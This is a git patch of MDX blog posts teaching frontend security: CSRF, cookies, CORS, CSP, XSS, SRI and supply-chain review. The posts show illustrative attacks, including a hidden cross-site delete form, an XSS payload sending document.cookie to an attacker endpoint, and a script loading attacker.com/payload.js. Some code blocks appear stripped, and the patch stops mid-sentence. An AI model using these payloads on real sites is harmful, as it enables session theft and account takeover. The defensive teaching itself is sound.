(site header absent — fall through to token validation) + if (!site) return next(); + + // Block all other cross-site requests to protected endpoints + if (site === 'cross-site') { + return res.status(403).json({ error: 'Cross-site request blocked by resource isolation policy' }); + } + + next(); +} +``` + + + + + Sec-Fetch-* headers are supported in Chrome, Edge, and Firefox. Safari does not send them. The guard must handle the absent-header case (fall through to CSRF token validation) rather than rejecting requests that lack the headers — that would break Safari users. Fetch metadata is a defence enhancement, not a replacement for tokens. + + +--- + +## Defence-in-Depth: All Layers Combined + +Each layer stops CSRF at a different point in the request lifecycle. No single layer covers every scenario. All layers together leave an attacker with no viable path. + + + +The minimum viable combination: +1. **Synchronizer tokens** (or double-submit with `__Host-`) on every state-changing endpoint +2. **`SameSite=Lax`** on the session cookie (already the browser default since 2020 — set it explicitly regardless) +3. **`__Host-` prefix** on the session cookie + +Add if you want the strongest posture: +4. **`SameSite=Strict`** instead of `Lax` (eliminates the cross-site navigation session, worth it for high-security apps) +5. **Fetch metadata resource isolation policy** as a pre-validation filter + +--- + + + + XSS cannot steal what JavaScript cannot read. There is no legitimate reason for JavaScript to access the session cookie. If a feature requires it, redesign the feature to use a separate readable token with limited scope. + + + HTTPS is table stakes in 2026. Secure ensures the cookie is never accidentally transmitted over HTTP — even if the user manually types http:// or a redirect momentarily lands on an insecure URL. + + + SameSite alone does not prevent subdomain cookie injection. __Host- does. The restrictions it enforces — Secure, no Domain, Path=/ — are what a session cookie should have regardless. Adopt it as the default. + + + Chrome defaults to Lax for cookies without an explicit SameSite, but only after a two-minute window where the cookie behaves as None. Set SameSite explicitly on every Set-Cookie. Never rely on browser defaults for security-relevant cookie behaviour. + + + The resource isolation policy blocks most CSRF before tokens are even checked — reducing latency and server load on attack traffic. But it misses Safari and old browsers. Tokens remain the primary defence. Fetch metadata is the filter before the gate. + + + Path scopes when a cookie is sent — but JavaScript on the same origin can read all cookies regardless of Path. Do not design a feature where security depends on a cookie being invisible to scripts at a different path. + + diff --git a/src/content/series/frontend-security/cors-deep-dive.mdx b/src/content/series/frontend-security/cors-deep-dive.mdx new file mode 100644 index 0000000..8c50bb2 --- /dev/null +++ b/src/content/series/frontend-security/cors-deep-dive.mdx @@ -0,0 +1,293 @@ +--- +title: "CORS: Beyond 'Just Add the Header'" +date: "Apr 2026" +pubDate: 2026-04-28 +category: Security +author: Honey Sharma +summary: Most CORS fixes are copied and pasted. This post builds the Same-Origin Policy from first principles, traces the full preflight, and shows the wildcard trap, Vary header problem, and CORS misconfigurations that ship to production. +tags: [security, cors, same-origin-policy, preflight, http, headers, frontend] +--- +import SequenceDiagram from '../../../components/mdx/SequenceDiagram.astro'; +import PacketDiagram from '../../../components/mdx/PacketDiagram.astro'; +import Comparison from '../../../components/mdx/Comparison.astro'; +import Callout from '../../../components/mdx/Callout.astro'; +import Lessons from '../../../components/mdx/Lessons.astro'; +import Lesson from '../../../components/mdx/Lesson.astro'; + +DevForum's new frontend launches on `app.devforum.com`. The backend API stays on `api.devforum.com`. The developer opens the browser, loads the dashboard, and watches the network tab. Every API request returns 200. The JavaScript receives nothing. The console says: + +``` +Access to fetch at 'https://api.devforum.com/v1/posts' from origin +'https://app.devforum.com' has been blocked by CORS policy: No +'Access-Control-Allow-Origin' header is present on the requested resource. +``` + +Most developers respond by adding `Access-Control-Allow-Origin: *` to the API and moving on. This post is about understanding what you just did — and when that answer is the wrong one. + +--- + +## The Same-Origin Policy, From First Principles + +Before CORS can make sense, the restriction it relaxes needs to be clear. + +### What is an "origin"? + +An origin is a triple: **scheme + host + port**. All three must match for two URLs to share an origin. The path, query string, and fragment are irrelevant. + +``` +Base URL: https://devforum.com + +https://devforum.com/posts → Same origin (path doesn't count) +http://devforum.com → Different (scheme: https ≠ http) +https://app.devforum.com → Different (host: subdomain ≠ apex) +https://api.devforum.com → Different (host: different subdomain) +https://devforum.com:8080 → Different (port: 443 ≠ 8080) +https://devforum.com:443 → Same origin (443 is the default HTTPS port) +``` + + + `app.devforum.com` and `devforum.com` are different origins. They cannot read each other's responses, share cookies across origins, or access each other's localStorage — not without explicit configuration. This surprises most developers the first time they split a frontend and API onto separate subdomains. + + +### What SOP restricts — and what it doesn't + +The Same-Origin Policy restricts **JavaScript reading cross-origin responses**. It does not restrict much else: + +| Action | Cross-origin allowed? | +|--------|----------------------| +| Navigate (``, `window.location`) | Yes | +| Form submission (`
`) | Yes — response blocked, not request | +| Embed resources (``, ` +``` + + + If the nonce is hardcoded in a config file, environment variable, or generated once at server startup, it is a permanent value — not a nonce. An attacker who observes the nonce value once can use it in every injected script. Nonces must be generated fresh per request using a cryptographically secure source. + + +--- + +## Hash-Based CSP + +Instead of a per-request token, you can allowlist a specific script by its SHA-256 content hash. The browser computes the hash of the inline script and checks it against the policy. + +Generate the hash for a specific inline script: + + + +The resulting CSP directive: + +```http +Content-Security-Policy: script-src 'sha256-K7fGRyPFoB+5wNHikKF2gqrOaSS3OkR9N8dKuivFm4c=' +``` + +The browser will only execute inline scripts whose content hashes to this exact value. Any character change — including a trailing space or newline — produces a different hash and blocks execution. + + + Use hashes for static bootstrap scripts, analytics initialisation, or feature flag snippets that are version-controlled and change infrequently. For anything that varies with user session data or personalisation, nonces are the right tool — a hash of dynamic content would need to be recalculated on every request, which is effectively a nonce. + + +--- + +## Strict CSP vs Domain Allowlists + +Most CSP tutorials tell you to list the domains your scripts come from: + +```http +Content-Security-Policy: script-src 'self' cdn.jsdelivr.net ajax.googleapis.com +``` + +This is almost always bypassable. Here's why: + +**JSONP endpoints on allowlisted domains.** JSONP turns an arbitrary callback parameter into a script execution primitive. If any endpoint on `ajax.googleapis.com` accepts a `callback` parameter, this executes attacker-controlled code: + +```html + +``` + +The domain is allowlisted. The script loads. The callback executes. + +**User-uploaded content on CDNs.** If `cdn.jsdelivr.net` hosts any file an attacker can upload, they control a script at an allowlisted URL. + +**`'strict-dynamic'`** solves this. When combined with a nonce, it means: scripts that have a valid nonce (trusted by the developer) may load further scripts dynamically. Scripts without a nonce may not execute — even from allowlisted domains. Domain allowlists are ignored when `strict-dynamic` is present. + +```http +Content-Security-Policy: script-src 'nonce-r4nd0mXYZ' 'strict-dynamic' +``` + +Your React or Vite bundle loads via a nonce-bearing ` +``` + +The form submits the moment the page loads. The user's browser sends a POST to `devforum.com/account/delete`. It attaches the DevForum session cookie automatically — the same cookie it attaches to every request to `devforum.com`. The server receives a valid session token, confirms the account deletion request, and returns 200. + +The user never clicked anything on DevForum. The attacker's site never received the response. The account is gone. + +This is Cross-Site Request Forgery. The server did exactly what it was told — by the attacker. + +--- + +## Why the Browser Does This + +Browsers were designed to attach cookies to requests unconditionally. When `devforum.com` set a session cookie, the browser committed to sending it with every future request to `devforum.com` — regardless of which page initiated the request. + +This behaviour is fundamental to how the web works. Without it, clicking a link from a Google search result to a site where you're already logged in would require you to log in again. Every navigation would lose session state. + +CSRF is not a browser bug. It is the intentional default behaviour of cookies, used against you. + +--- + +## Why CORS Doesn't Save You + +The previous post covered how CORS blocks cross-origin *response reads*. Developers often assume that same protection extends to cross-site requests. It does not. + +The browser still *sends* the request. The form POST to `devforum.com/account/delete` goes through. The server processes it. The state change happens. CORS only prevents `evil.com`'s JavaScript from reading the response — but the damage was done before the response arrived. + + + SOP and CORS operate on responses. A cross-origin form POST reaches its target server before any CORS check runs. By the time the browser decides whether `evil.com` can read the response, the account is already deleted. CSRF protection must operate on the server side, at request validation time. + + +--- + +## Why CSRF Still Works in 2026 + +Modern browsers defaulted `SameSite` to `Lax` starting in 2020, which blocks many CSRF vectors. But the attack is not solved. It survives in several real scenarios: + +**Subdomain attacks.** If an attacker can run code on any subdomain of your domain, they can set cookies that scope to your apex domain — and those cookies are sent on same-site cross-origin requests that `SameSite=Lax` permits. + +**Top-level GET navigations.** `SameSite=Lax` permits cookies on top-level navigations using safe methods. If a state-changing action can be triggered via a GET request (search, export, confirm via link), Lax does not protect it. + +**Legacy browsers.** `SameSite` is not universally supported. Any user on an older browser — common in enterprise environments — receives no protection from browser-default SameSite behaviour. + +**Mobile WebViews.** Some WebView implementations handle cookies differently from browser behaviour. `SameSite` semantics vary. + +**Explicitly `SameSite=None` cookies.** Cookies set by legacy SSO systems, third-party integrations, or payment providers are often `SameSite=None` by requirement. They are fully vulnerable to CSRF. + + + SameSite is one layer of defence, not a complete solution. The right approach is defence-in-depth: synchronizer tokens or double-submit cookies on the server, SameSite on the cookie, and Fetch metadata on the request. The next post covers the cookie and browser layers in full. + + +--- + +## The Attack in Full + +
+ I'd search the codebase for `dangerouslySetInnerHTML` since that's the main XSS vector in React, and then check any places where we're using `eval()` or `document.write()`. + + + Good start. What are you missing if you only check those? + + + The sinks are only half the picture. I also need to trace the sources — where does user-controlled data enter the system? URL parameters, query strings, `location.hash`, form inputs, `postMessage` handlers, and API response data that gets rendered. The dangerous pattern isn't `dangerouslySetInnerHTML` on its own — it's `dangerouslySetInnerHTML` where the content passed to it can be influenced by an attacker. A prop called `html` that's hardcoded in the component is different from one fed by a URL parameter three components up the tree. + + + The app has a comment section that renders markdown — users can write `**bold**`, links, that kind of thing. The markdown parser outputs HTML. What does your review look like for that specifically? + + + Markdown-to-HTML is a classic stored XSS vector. The markdown parser itself is usually fine for standard syntax, but the link renderer is where it breaks down — `[click me](javascript:alert(1))` is valid markdown and if the parser doesn't explicitly block `javascript:` URI schemes in link hrefs, it passes the sanitiser. I'd check whether the parser is configured to sanitise href values or whether it relies on the downstream renderer. + + Then there's the HTML injection problem: if the markdown parser allows raw HTML passthrough (a lot of them do by default), a user can include `` or ` + ``` + + The victim is logged into DevForum and visits `evil.com` — maybe via a phishing link. The page loads. The JavaScript fires the form submission. The browser sends a POST to `devforum.com/account/delete`. Critically: the browser automatically attaches the victim's DevForum session cookie to that request, because cookies are scoped to the domain they were set on, and the request is going to `devforum.com`. + + DevForum's server receives a POST to `/account/delete` with a valid session cookie. From the server's perspective, it looks identical to a legitimate request the user submitted themselves. There's no way to tell the difference from the cookie alone. The account is deleted. + + The browser didn't do anything wrong. The cookie rules worked as designed. The failure is that the server processed a state-changing request without verifying that the request originated from its own pages. + + + We've set SameSite=Lax on the session cookie. Are we protected? + + + Lax is better than nothing. It blocks the hidden form submission I just described — Lax cookies aren't sent on cross-site POST requests. But it doesn't cover everything. + + + What doesn't it cover? + + + Three gaps. First: Lax allows cookies on top-level navigations using safe methods. If the state-changing operation can be triggered with a GET request — and some poorly designed APIs do this — an attacker can trigger it with a simple link or redirect. Lax doesn't block GET. + + Second: subdomain attacks. If an attacker can compromise a subdomain of your domain — say `static.devforum.com` — the SameSite check considers requests from it as same-site. A compromised subdomain can forge requests that Lax would permit. + + Third: browser support. `SameSite=Lax` became the Chrome default in 2020, but older browsers, some mobile browsers, and some WebView contexts don't enforce it. Applications that must support a wide browser surface can't rely on it as the sole defence. + + The correct posture is SameSite as one layer, with a synchronizer CSRF token as the primary defence. The token is validated server-side regardless of where the request originated. Lax narrows the attack surface; the token closes it. + + + What are Fetch metadata headers and when do they help? + + + Fetch metadata headers — `Sec-Fetch-Site`, `Sec-Fetch-Mode`, `Sec-Fetch-Dest` — are headers the browser attaches to every request automatically. They can't be forged by JavaScript; they're browser-set and the browser ignores any attempt to override them via `fetch()` or XHR. + + `Sec-Fetch-Site` is the most useful for CSRF defence. It tells the server where the request originated relative to the resource: `same-origin`, `same-site`, `cross-site`, or `none`. A state-changing request from `evil.com` arrives with `Sec-Fetch-Site: cross-site`. A state-changing request from your own app arrives with `Sec-Fetch-Site: same-origin`. + + The server can implement a Resource Isolation Policy: reject any non-safe request (POST, PUT, DELETE, PATCH) where `Sec-Fetch-Site` is `cross-site`. That's a CSRF rejection without maintaining any token state. It complements rather than replaces CSRF tokens — old browsers and non-browser clients don't send these headers, so tokens remain necessary for full coverage. + + + Design a CSRF defence for a stateless REST API — no server-side sessions, JWT in localStorage. + + + If auth is JWT in localStorage, CSRF in the traditional sense isn't a problem — cookies aren't involved, so the browser doesn't auto-attach credentials on cross-site requests. The attack vector doesn't exist for that auth scheme. + + But if the API is being called with cookies at all — even just for CSRF token purposes — you need to be careful. For a truly stateless API with cookie-based auth, the double-submit cookie pattern works without server-side state: the server sets a CSRF token as a cookie (not HttpOnly, so JS can read it), and requires that same value to appear in a request header (`X-CSRF-Token`). A cross-site attacker can't read the cookie value (SOP prevents it), so they can't set the header. The server validates that cookie value matches header value — no stored state required. + + With `SameSite=Strict` on the auth cookie, the CSRF risk is substantially reduced anyway. And `Sec-Fetch-Site` verification adds a third layer at no state cost. A stateless API can stack all three: SameSite, double-submit, Fetch metadata — and cover the full browser population. + + + +--- + +## Scenario 4 — Supply Chain and SRI + + + You're reviewing a PR. It adds three new npm packages: `marked`, `lodash-es`, and `@company/internal-utils`. What do you check? + + + I'd check the download counts and whether they're widely used packages, and run `npm audit` to see if there are any known vulnerabilities. + + + What does npm audit not catch? + + + `npm audit` only checks against the npm advisory database — known, published CVEs. A zero-day supply chain attack is invisible to it. The event-stream incident (2018) would have passed `npm audit` on every machine it ran on during the active compromise period, because there was no CVE yet. + + What I'd actually check: for `marked` and `lodash-es`, they're well-known packages so I'd verify the version being added matches what I'd expect (no suspicious pinning to an odd version), check the recent release history and maintainer activity, and verify the package is published from the expected GitHub repo — the registry name and the source repo should correspond. For `@company/internal-utils` — that's an internal scoped package. I'd confirm that the `.npmrc` for this project points to the private registry for the `@company` scope. If it doesn't, npm will look for `@company/internal-utils` on the public registry, and if an attacker has published a package by that name there, it gets resolved instead — that's a dependency confusion attack. + + I'd also check whether any of the three packages define a `postinstall` script in their `package.json`. + + + You open `marked`'s package.json and there's a postinstall script: `node scripts/postinstall.js`. The script makes a curl request to an external URL. What do you do? + + + Block the PR and escalate. A `postinstall` script that makes an outbound network request is a serious red flag — it's exactly the pattern used in supply chain attacks to exfiltrate environment variables, SSH keys, and CI secrets. The script runs automatically on `npm install` with no user prompt, with access to the full developer environment and every environment variable in the shell. + + I'd open the script and read it. If it's obviously benign — checking for updates, downloading a platform-specific binary like Puppeteer does — I'd document what it does and why it's necessary in the PR review. But a curl to an external URL that isn't the package's own infrastructure (npm, GitHub, their own domain) needs a very clear justification. + + In CI, the mitigation is `npm ci --ignore-scripts`, which skips all lifecycle hooks. This is the right posture for production builds — no postinstall, preinstall, or prepare scripts run. It won't help the developer who runs `npm install` locally, but it protects the build pipeline and the production artifacts. + + + Separately, the PR adds Stripe.js from `js.stripe.com` with no integrity attribute. Is that a concern? + + + It's a concern, yes, though Stripe.js is a case where there's a genuine operational reason for not pinning to an SRI hash. Stripe updates Stripe.js continuously and without versioned URLs — if you pin to a hash and Stripe pushes an update, your hash no longer matches and the payment form breaks. Stripe themselves document that SRI isn't compatible with their update model for the main `stripe.js` entry point. + + That said, the concern is real: `js.stripe.com` is in your trust chain. If Stripe's CDN is compromised, the script executes with full origin access on your checkout page — including access to payment form fields. + + The mitigation that actually works here is defence-in-depth at the CSP layer: `script-src` should list `js.stripe.com` explicitly (not a wildcard). `connect-src` should restrict outbound connections to Stripe's API endpoints only, so a compromised Stripe script can't exfiltrate to an attacker's server. And `Permissions-Policy` should limit which APIs the payment frame can access. You can't pin the hash, but you can constrain what the script can do. + + + What's the difference between SRI and CSP script-src for this case? + + + They protect against different things and operate at different points. + + SRI validates *content* — it checks that the bytes you downloaded match the hash you expected. It fires when the file is fetched. If the CDN serves a different file (compromised, modified, BGP-hijacked), the hash doesn't match and the browser refuses to execute it. SRI is the "was this the file I approved?" check. + + CSP `script-src` validates *origin* — it checks that the script came from a domain on your approved list. It fires at execution time. If you have `script-src cdn.stripe.com`, scripts from `cdn.stripe.com` are allowed to execute. It doesn't validate *which* file at that domain — a compromised file from an approved domain still executes. + + For Stripe.js specifically: CSP `script-src js.stripe.com` allows execution from that domain but doesn't catch a CDN compromise serving a modified file. SRI would catch the CDN compromise but breaks on every Stripe update. Since SRI isn't viable here, CSP origin restriction plus `connect-src` exfiltration blocking is the practical layer — it doesn't prevent the script from running, but it limits what a compromised script can do. + + + +--- + +## What Strong Answers Have in Common + +Across all four scenarios, the answers that read as senior-level share the same structure — regardless of the specific topic. + +**Attack-first framing.** Strong answers describe the attack concretely — what the attacker does, what happens at each step, what the blast radius is — before naming the defence. "We need DOMPurify" is a mid-level answer. "A user-controlled value reaching innerHTML means an attacker can inject a ` +``` + +One Tuesday morning, a BGP route hijacking attack redirects traffic destined for `cdn.analytics.io` to an attacker-controlled server. The server responds to every request for `track.min.js` with a modified file — the original analytics code plus a keylogger that captures every keystroke on every page that loads the script. + +DevForum's servers are fine. DevForum's code is unchanged. DevForum's database is untouched. But every user who visits DevForum that morning has their keystrokes recorded — including their passwords. + +The ` + + + +``` + +The `integrity` attribute contains an algorithm prefix (`sha256-`) and a base64-encoded hash. The browser downloads the file, computes the hash, and compares. If they match, the script executes. If not, the browser treats it as a network error — no execution, no partial execution, no fallback. + +--- + +## Generating SRI Hashes + +The hash is computed from the exact bytes of the file as it will be served. One extra byte, one different line ending — different hash. + + + +The resulting ` +``` + +Many CDNs generate the hash for you on their documentation page — look for a "Copy with SRI" button. [srihash.org](https://www.srihash.org/) generates hashes from a URL. For ``, the process is identical. + +Multiple algorithms can be specified for forward compatibility: + +```html + +``` + +The browser uses the strongest algorithm it supports. + +--- + +## The `crossorigin` Requirement + +SRI only works when the resource is fetched with CORS. The `crossorigin="anonymous"` attribute is mandatory — without it, the browser cannot read the response body to compute the hash in a cross-origin-safe context. + + + Without `crossorigin="anonymous"`, the browser fetches the script in no-CORS mode, cannot verify the hash, and — depending on the browser — may either silently execute the script or block it entirely. Both outcomes are worse than what SRI is supposed to provide. Always pair `integrity` with `crossorigin="anonymous"`. + + +This also means the CDN must send CORS headers (`Access-Control-Allow-Origin: *`) on the resource. Most major CDNs do. If a CDN does not send CORS headers, SRI cannot be used with it. + +--- + +## How the Browser Validates + + + +When a mismatch occurs, the browser fires a `SecurityPolicyViolation` event and logs to the console: + + + +--- + +## SRI Limitations and Blind Spots + +SRI is effective against a compromised CDN serving a different file at the same URL. It does not help in several important scenarios: + +**The `src` URL itself is attacker-controlled.** SRI locks content at a URL. If an attacker can change the `src` attribute — via XSS or a compromised build pipeline — they can point the tag at a URL they control with a matching hash. SRI validates the content, not the source of trust. + +**The malicious script was the version you hashed.** If the CDN was already serving malicious code when you generated the hash, you locked in the malicious version. This is less likely than a compromise-after-deployment scenario, but possible if the CDN account was already compromised before the library was pinned. + +**Dynamically injected scripts.** A script loaded with `document.createElement('script')` and a programmatically set `src` does not benefit from SRI — there is no `integrity` attribute in the DOM until you add it explicitly. Compromised third-party scripts often use this to load further payloads: + +```js +// Inside a compromised analytics script — SRI cannot help here +const s = document.createElement('script'); +s.src = 'https://attacker.com/payload.js'; +document.head.appendChild(s); +``` + +**The hash must be updated on every file update.** If the CDN updates the script (a new version, a hotfix), your hash no longer matches and the browser blocks the script. You must regenerate and redeploy the hash with every update. + + + When analytics.io releases a new version of their script, your SRI-protected ` +``` + +They send this link to a DevForum user via a DM. The victim clicks it. Here's what happens: + +fetch(...document.cookie)", type: "attack" }, + { from: "victim", to: "forum", label: "GET /search?q=", type: "response" }, + { from: "victim", to: "c2", label: "GET /steal?c=session=abc123", type: "attack", annotation: "script executes" } + ]} + caption="The payload travels in the URL and lands verbatim in the server's HTML response. The victim's browser executes it with full origin access." +/> + +The fix is one line: HTML-encode the parameter before rendering it. `req.query.q` becomes `he.encode(req.query.q)`, or you switch to a templating engine that escapes by default. The script tag becomes the literal text `<script>` — visible, harmless. + +**Why it's called "reflected":** the payload is sent to the server and reflected straight back in the response. The server is a mirror, not a target. + +--- + +## Stored XSS + +Reflected XSS requires the victim to click a crafted link. Stored XSS is more dangerous: the attacker injects the payload once, and it fires for every user who loads the page — no link required. + +On DevForum, comments are stored in the database and rendered for every visitor. An attacker posts this comment: + +```html +Great article! Really helpful. + +``` + +The server stores this string in MongoDB. The server renders it into every response for that article. Every logged-in user who visits the article becomes a victim. + + + +This is the attack that hit DevForum at the start of this post. One comment. Forty sessions in an hour. The payload keeps firing until someone notices and deletes it. + +--- + +## DOM-Based XSS + +The two variants above both involve the server rendering the payload. DOM-based XSS lives entirely in the client — the server never sees the malicious input. + +DevForum has a "highlight by username" feature: open an article with `?highlight=honeysharma` in the URL and any mention of that username is visually highlighted. The implementation: + +```js +// client.js — runs in the browser +const params = new URLSearchParams(location.search); +const user = params.get('highlight'); + +if (user) { + document.getElementById('highlight-target').innerHTML = + `Highlighting mentions of ${user}`; +} +``` + +The `highlight` parameter goes straight into `innerHTML`. An attacker crafts a link: + +``` +https://devforum.com/articles/123?highlight= +``` + +The server sees a completely normal request for article 123. Its response contains no payload. The payload is in the URL. The browser reads it, the client-side JS writes it to the DOM, and it executes. + +**Why this matters for detection:** WAFs, server-side sanitisers, and security scanners that inspect HTTP responses will find nothing. The vulnerability exists entirely in the client. + + + Any input that flows from `location.search`, `location.hash`, `document.referrer`, or `postMessage` into a DOM sink (`innerHTML`, `outerHTML`, `document.write`, `eval`) is a DOM XSS vector. Sanitise it on the client, at the point of insertion. + + +--- + +## Mutation XSS (mXSS) + +Mutation XSS exploits a gap between what a sanitiser considers safe and what the browser's HTML parser actually produces. + +The browser's parser is not a validator — it's a recovery machine. It will fix malformed markup, restructure elements to match the content model, and produce valid HTML from invalid input. This restructuring can turn a "safe" sanitised string into one that contains executable script. + +A classic example: + +```html + +

+ + +``` + +The sanitiser saw a ` diff --git a/src/content/series/frontend-security/subresource-integrity.mdx b/src/content/series/frontend-security/subresource-integrity.mdx index 02b3d9f..3c6f180 100644 --- a/src/content/series/frontend-security/subresource-integrity.mdx +++ b/src/content/series/frontend-security/subresource-integrity.mdx @@ -12,6 +12,7 @@ import Terminal from '../../../components/mdx/Terminal.astro'; import PacketDiagram from '../../../components/mdx/PacketDiagram.astro'; import Comparison from '../../../components/mdx/Comparison.astro'; import Callout from '../../../components/mdx/Callout.astro'; +import SequenceDiagram from '../../../components/mdx/SequenceDiagram.astro'; import Lessons from '../../../components/mdx/Lessons.astro'; import Lesson from '../../../components/mdx/Lesson.astro'; diff --git a/src/content/series/frontend-security/supply-chain-risks.mdx b/src/content/series/frontend-security/supply-chain-risks.mdx index 14a904c..e55b7f0 100644 --- a/src/content/series/frontend-security/supply-chain-risks.mdx +++ b/src/content/series/frontend-security/supply-chain-risks.mdx @@ -14,6 +14,7 @@ import FileTree from '../../../components/mdx/FileTree.astro'; import Terminal from '../../../components/mdx/Terminal.astro'; import Comparison from '../../../components/mdx/Comparison.astro'; import Callout from '../../../components/mdx/Callout.astro'; +import SequenceDiagram from '../../../components/mdx/SequenceDiagram.astro'; import Lessons from '../../../components/mdx/Lessons.astro'; import Lesson from '../../../components/mdx/Lesson.astro'; From 8c2d703cbfac455ac4f0df36efc7a83d8b54da3e Mon Sep 17 00:00:00 2001 From: Honey Sharma Date: Wed, 8 Apr 2026 15:26:57 +0530 Subject: [PATCH 4/5] fixed series syntex --- .../frontend-security/cookie-security.mdx | 18 ------------- .../frontend-security/cors-deep-dive.mdx | 18 ------------- .../frontend-security/csp-in-practice.mdx | 14 ---------- .../frontend-security/csrf-patterns.mdx | 14 ---------- .../http-security-headers.mdx | 16 ------------ .../interview-simulation.mdx | 8 ------ .../series/frontend-security/overview.mdx | 15 ----------- .../security-interview-playbook.mdx | 18 ------------- .../frontend-security/security-mindset.mdx | 8 ------ .../subresource-integrity.mdx | 21 --------------- .../frontend-security/supply-chain-risks.mdx | 26 ------------------- .../series/frontend-security/xss-anatomy.mdx | 24 ----------------- 12 files changed, 200 deletions(-) diff --git a/src/content/series/frontend-security/cookie-security.mdx b/src/content/series/frontend-security/cookie-security.mdx index ecb22ef..d09bfdb 100644 --- a/src/content/series/frontend-security/cookie-security.mdx +++ b/src/content/series/frontend-security/cookie-security.mdx @@ -55,8 +55,6 @@ This prevents the session cookie from being intercepted on an unencrypted connec `Secure` controls transmission only. The cookie value is stored in the browser's cookie jar in plaintext. Other security mechanisms — rotating sessions, short TTLs, binding sessions to user-agent or IP fingerprints — protect the stored value against local access. ---- - ## SameSite: How the Browser Filters Cross-Site Requests `SameSite` tells the browser which cross-site contexts should include the cookie. It has three values, each with very different behaviour. @@ -133,8 +131,6 @@ This is the pre-2020 default and the setting required for third-party contexts: ]} /> ---- - ## Why `SameSite=Lax` Is Not Sufficient Alone `Lax` handles the most common CSRF scenario. It does not handle all of them. @@ -149,8 +145,6 @@ This is the pre-2020 default and the setting required for third-party contexts: The conclusion: `SameSite=Lax` (or `Strict`) significantly reduces CSRF risk. It does not eliminate it. Layer it with synchronizer tokens and the mechanisms below. ---- - ## Cookie Prefixes: `__Host-` and `__Secure-` Cookie prefixes are browser-enforced invariants — constraints the browser validates on every `Set-Cookie` header before accepting the cookie. @@ -183,8 +177,6 @@ By omitting `Domain`, the cookie is bound to the exact host that set it — `dev `__Host-` is the strictest prefix and closes the subdomain cookie injection vector completely. There is almost no downside for session cookies — the restrictions it enforces (`Secure`, no `Domain`, `Path=/`) are what your session cookie should have anyway. Use it by default. ---- - ## The Hardened Cookie Header Combining everything so far, a production session cookie for DevForum: @@ -224,8 +216,6 @@ res.cookie('__Host-session', sessionToken, { Many Express cookie libraries default to setting `domain: req.hostname`. With `__Host-`, any `Domain` attribute causes the browser to reject the cookie silently. Explicitly omit `domain`, or set it to `undefined`. Test with DevTools — if the cookie does not appear after `Set-Cookie`, the browser rejected it. ---- - ## Cookie Scoping: Domain and Path Without any `Domain` attribute, a cookie is bound to the exact host that set it. Adding `Domain` widens the scope: @@ -287,8 +277,6 @@ For session cookies, omit `Domain` — or use `__Host-`, which enforces the omis `Path` scopes the cookie to a URL prefix. `Path=/admin` means the cookie is only sent on requests to `/admin/...`. This is a convenience feature, not a security one — JavaScript on the same origin can still read cookies regardless of `Path`. Do not use `Path` as a security boundary. ---- - ## Origin and Referer Header Verification Before Fetch metadata (covered next), the standard secondary check was verifying the `Origin` or `Referer` request header. @@ -327,8 +315,6 @@ function verifyOrigin(req, res, next) { Some browsers, browser extensions, and privacy tools strip the `Referer` header. Some request types do not include `Origin`. Using either as your only CSRF defence means legitimate requests may be rejected for non-obvious reasons. Treat these as a secondary check that supplements token validation, not replaces it. ---- - ## Fetch Metadata Headers Fetch metadata is a set of browser-generated request headers that describe the context of every outgoing request. They are set by the browser and cannot be forged by web page JavaScript. @@ -439,8 +425,6 @@ function resourceIsolationPolicy(req, res, next) { note="Safari does not send Sec-Fetch-* headers. The resource isolation policy must treat absent headers as a pass-through to CSRF token validation, not as a reason to block. Do not use Fetch metadata as a sole defence." /> ---- - ## Defence-in-Depth: All Layers Combined Each layer stops CSRF at a different point in the request lifecycle. No single layer covers every scenario. All layers together leave an attacker with no viable path. @@ -467,8 +451,6 @@ Add if you want the strongest posture: 4. **`SameSite=Strict`** instead of `Lax` (eliminates the cross-site navigation session, worth it for high-security apps) 5. **Fetch metadata resource isolation policy** as a pre-validation filter ---- - XSS cannot steal what JavaScript cannot read. There is no legitimate reason for JavaScript to access the session cookie. If a feature requires it, redesign the feature to use a separate readable token with limited scope. diff --git a/src/content/series/frontend-security/cors-deep-dive.mdx b/src/content/series/frontend-security/cors-deep-dive.mdx index 03b1be9..3b6cfa1 100644 --- a/src/content/series/frontend-security/cors-deep-dive.mdx +++ b/src/content/series/frontend-security/cors-deep-dive.mdx @@ -84,8 +84,6 @@ This asymmetry is exactly why CSRF is a separate problem, not a CORS problem — **The threat SOP prevents:** without it, any malicious page could silently `fetch('https://yourbank.com/balance')` using your session cookie and read your account balance. Any site could read the contents of your authenticated sessions on any other site. SOP prevents cross-origin response reads by default. ---- - ## What CORS Actually Is CORS (Cross-Origin Resource Sharing) is not a security restriction. It's a relaxation of SOP. @@ -98,8 +96,6 @@ The browser's default is to block cross-origin response reads. CORS is the mecha The right question when adding CORS is not "how do I make this work?" — it's "which origins should legitimately be able to read this API's responses?" ---- - ## Simple vs Preflighted Requests The browser splits cross-origin requests into two categories based on their risk profile. @@ -146,8 +142,6 @@ DevForum's API call: `fetch('https://api.devforum.com/v1/posts', { method: 'POST Developers sometimes treat the preflight OPTIONS request as overhead to eliminate. It exists to protect servers that weren't designed for cross-origin requests — the preflight lets the server consent before any state-changing request is sent. It is the spec working as intended. ---- - ## The Preflight Flow in Full Detail ---- - ## Credentialed Requests and the Wildcard Trap By default, cross-origin `fetch()` calls do not include cookies or `Authorization` headers. To send credentials, you must opt in: @@ -213,8 +205,6 @@ If either is missing, the browser blocks the response from reaching JavaScript This combination is explicitly prohibited by the Fetch specification. The browser will block the response with a CORS error regardless of what the server returns. If you see this combination in production, either credentials are not actually being sent (and someone thinks they are), or the ACAO header needs to be changed to a specific origin. ---- - ## `Vary: Origin` and CDN Caching CDNs (Content Delivery Networks) cache HTTP responses at edge servers close to your users — they store and replay responses rather than always hitting your origin server. This is what makes them fast, and it's what makes the next bug subtle. @@ -246,8 +236,6 @@ app.use((req, res, next) => { This is the bug that surfaces months after launch, after a CDN is added in front of the API. All cross-origin requests start failing intermittently — for some users, in some regions, depending on which CDN edge has cached what. The fix is one header. The diagnosis can take days. ---- - ## What CORS Does Not Protect Against Two things developers routinely assume CORS handles that it does not: @@ -256,8 +244,6 @@ Two things developers routinely assume CORS handles that it does not: **Non-browser clients.** `curl`, Postman, Python's `requests`, any server-to-server HTTP call — these ignore CORS headers entirely. CORS is a browser contract. It tells browsers which origins may read responses. It tells nothing to any other HTTP client. If your API contains sensitive data, authentication and authorisation on every endpoint are still required independently of CORS configuration. ---- - ## Common Misconfigurations **Reflecting the Origin header verbatim.** The worst pattern — and surprisingly common: @@ -299,8 +285,6 @@ if (ALLOWED.has(req.headers.origin)) { caption="All four misconfigurations appear in production codebases. The regex bypass is the least obvious — it looks like a validation but isn't." /> ---- - ## Request Type Reference ---- - Maintain a Set of permitted 